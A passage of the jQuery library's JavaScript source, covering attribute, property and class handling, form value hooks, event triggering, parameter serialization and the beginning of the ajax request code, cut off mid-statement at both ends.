An input loses its value after becoming a radio input = document.createElement( "input" ); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; } )(); var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // Attribute hooks are determined by the lowercase version // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && jQuery.nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, i = 0, attrNames = value && value.match( rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle, lowercaseName = name.toLowerCase(); if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ lowercaseName ]; attrHandle[ lowercaseName ] = ret; ret = getter( elem, name, isXML ) != null ? lowercaseName : null; attrHandle[ lowercaseName ] = handle; } return ret; }; } ); var rfocusable = /^(?:input|select|textarea|button)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend( { prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each( function() { delete this[ jQuery.propFix[ name ] || name ]; } ); } } ); jQuery.extend( { prop: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set properties on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } return ( elem[ name ] = value ); } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } return elem[ name ]; }, propHooks: { tabIndex: { get: function( elem ) { // Support: IE <=9 - 11 only // elem.tabIndex doesn't always return the // correct value when it hasn't been explicitly set // https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ // Use proper attribute retrieval(#12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); return tabindex ? parseInt( tabindex, 10 ) : rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? 0 : -1; } } }, propFix: { "for": "htmlFor", "class": "className" } } ); // Support: IE <=11 only // Accessing the selectedIndex property // forces the browser to respect setting selected // on the option // The getter ensures a default option is selected // when in an optgroup if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; }, set: function( elem ) { var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } }; } jQuery.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; } ); var rclass = /[\t\r\n\f]/g; function getClass( elem ) { return elem.getAttribute && elem.getAttribute( "class" ) || ""; } jQuery.fn.extend( { addClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( jQuery.isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); } ); } if ( typeof value === "string" && value ) { classes = value.match( rnotwhite ) || []; while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); cur = elem.nodeType === 1 && ( " " + curValue + " " ).replace( rclass, " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } // Only assign if different to avoid unneeded rendering. finalValue = jQuery.trim( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, removeClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( jQuery.isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); } ); } if ( !arguments.length ) { return this.attr( "class", "" ); } if ( typeof value === "string" && value ) { classes = value.match( rnotwhite ) || []; while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( " " + curValue + " " ).replace( rclass, " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) > -1 ) { cur = cur.replace( " " + clazz + " ", " " ); } } // Only assign if different to avoid unneeded rendering. finalValue = jQuery.trim( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value; if ( typeof stateVal === "boolean" && type === "string" ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( jQuery.isFunction( value ) ) { return this.each( function( i ) { jQuery( this ).toggleClass( value.call( this, i, getClass( this ), stateVal ), stateVal ); } ); } return this.each( function() { var className, i, self, classNames; if ( type === "string" ) { // Toggle individual class names i = 0; self = jQuery( this ); classNames = value.match( rnotwhite ) || []; while ( ( className = classNames[ i++ ] ) ) { // Check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( value === undefined || type === "boolean" ) { className = getClass( this ); if ( className ) { // Store className if set dataPriv.set( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || value === false ? "" : dataPriv.get( this, "__className__" ) || "" ); } } } ); }, hasClass: function( selector ) { var className, elem, i = 0; className = " " + selector + " "; while ( ( elem = this[ i++ ] ) ) { if ( elem.nodeType === 1 && ( " " + getClass( elem ) + " " ).replace( rclass, " " ) .indexOf( className ) > -1 ) { return true; } } return false; } } ); var rreturn = /\r/g, rspaces = /[\x20\t\r\n\f]+/g; jQuery.fn.extend( { val: function( value ) { var hooks, ret, isFunction, elem = this[ 0 ]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && ( ret = hooks.get( elem, "value" ) ) !== undefined ) { return ret; } ret = elem.value; return typeof ret === "string" ? // Handle most common string cases ret.replace( rreturn, "" ) : // Handle cases where value is null/undef or number ret == null ? "" : ret; } return; } isFunction = jQuery.isFunction( value ); return this.each( function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; } ); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } } ); } } ); jQuery.extend( { valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE <=10 - 11 only // option.text throws exceptions (#14686, #14858) // Strip and collapse whitespace // https://html.spec.whatwg.org/#strip-and-collapse-whitespace jQuery.trim( jQuery.text( elem ) ).replace( rspaces, " " ); } }, select: { get: function( elem ) { var value, option, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one", values = one ? null : [], max = one ? index + 1 : options.length, i = index < 0 ? max : one ? index : 0; // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // Support: IE <=9 only // IE8-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup !option.disabled && ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; if ( option.selected = jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) { optionSet = true; } } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } } } ); // Radios and checkboxes getter/setter jQuery.each( [ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( jQuery.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { return elem.getAttribute( "value" ) === null ? "on" : elem.value; }; } } ); // Return jQuery for attributes-only inclusion var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/; jQuery.extend( jQuery.event, { trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; cur = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf( "." ) > -1 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split( "." ); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf( ":" ) < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join( "." ); event.rnamespace = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === ( elem.ownerDocument || document ) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] && dataPriv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( ( !special._default || special._default.apply( eventPath.pop(), data ) === false ) && acceptData( elem ) ) { // Call a native DOM method on the target with the same name as the event. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; elem[ type ](); jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, // Piggyback on a donor event to simulate a different one // Used only for `focus(in | out)` events simulate: function( type, elem, event ) { var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true } ); jQuery.event.trigger( e, null, elem ); } } ); jQuery.fn.extend( { trigger: function( type, data ) { return this.each( function() { jQuery.event.trigger( type, data, this ); } ); }, triggerHandler: function( type, data ) { var elem = this[ 0 ]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } } ); jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); jQuery.fn.extend( { hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); } } ); support.focusin = "onfocusin" in window; // Support: Firefox <=44 // Firefox doesn't have focus(in | out) events // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 // // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 // focus(in | out) events fire after focus & blur events, // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 if ( !support.focusin ) { jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler on the document while someone wants focusin/focusout var handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) ); }; jQuery.event.special[ fix ] = { setup: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ); if ( !attaches ) { doc.addEventListener( orig, handler, true ); } dataPriv.access( doc, fix, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ) - 1; if ( !attaches ) { doc.removeEventListener( orig, handler, true ); dataPriv.remove( doc, fix ); } else { dataPriv.access( doc, fix, attaches ); } } }; } ); } var location = window.location; var nonce = jQuery.now(); var rquery = ( /\?/ ); // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml; if ( !data || typeof data !== "string" ) { return null; } // Support: IE 9 - 11 only // IE throws on parseFromString with invalid input. try { xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); } catch ( e ) { xml = undefined; } if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }; var rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( jQuery.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", v, traditional, add ); } } ); } else if ( !traditional && jQuery.type( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, valueOrFunction ) { // If value is a function, invoke it and use its return value var value = jQuery.isFunction( valueOrFunction ) ? valueOrFunction() : valueOrFunction; s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value == null ? "" : value ); }; // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ); }; jQuery.fn.extend( { serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map( function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; } ) .filter( function() { var type = this.type; // Use .is( ":disabled" ) so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); } ) .map( function( i, elem ) { var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ).get(); } } ); var r20 = /%20/g, rhash = /#.*$/, rts = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat( "*" ), // Anchor tag for parsing the document origin originAnchor = document.createElement( "a" ); originAnchor.href = location.href; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || []; if ( jQuery.isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( ( dataType = dataTypes[ i++ ] ) ) { // Prepend if requested if ( dataType[ 0 ] === "+" ) { dataType = dataType.slice( 1 ) || "*"; ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); // Otherwise append } else { ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } } ); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s.throws ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend( { // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: location.href, type: "GET", isLocal: rlocalProtocol.test( location.protocol ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": JSON.parse, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Url cleanup var urlAnchor, // Request state (becomes false upon send and true upon completion) completed, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // uncached part of the url uncached, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks( "once memory" ), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( completed ) { if ( !responseHeaders ) { responseHeaders = {}; while ( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match == null ? null : match; }, // Raw string getAllResponseHeaders: function() { return completed ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { if ( completed == null ) { name = requestHeadersNames[ name.toLowerCase() ] = requestHeadersNames[ name.toLowerCase() ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( completed == null ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( completed ) { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } else { // Lazy-add the new callbacks in a way that preserves old ones for ( code in map ) { statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ); // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || location.href ) + "" ) .replace( rprotocol, location.protocol + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ]; // A cross-domain request is in order when the origin doesn't match the current origin. if ( s.crossDomain == null ) { urlAnchor = document.createElement( "a" ); // Support: IE <=8 - 11, Edge 12 - 13 // IE throws exception on accessing the href property if url is malformed, // e.g. http://example.com:80x/ try { urlAnchor.href = s.url; // Support: IE <=8 - 11 only // Anchor's host property isn't correctly set when s.url is relative urlAnchor.href = urlAnchor.href; s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== urlAnchor.protocol + "//" + urlAnchor.host; } catch ( e ) { // If there is an error parsing the URL, assume it is crossDomain, // it can be rejected by the transport if it is invalid s.crossDomain = true; } } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( completed ) { return jqXHR; } // We can fire global events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on // Remove hash to simplify url manipulation cacheURL = s.url.replace( rhash, "" ); // More options handling for requests with no content if ( !s.hasContent ) { // Remember the hash so we can put it back uncached = s.url.slice( cacheURL.length ); // If data is available, append data to url if ( s.data ) { cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add anti-cache in uncached url if needed if ( s.cache === false ) { cacheURL = cacheURL.replace( rts, "" ); uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + 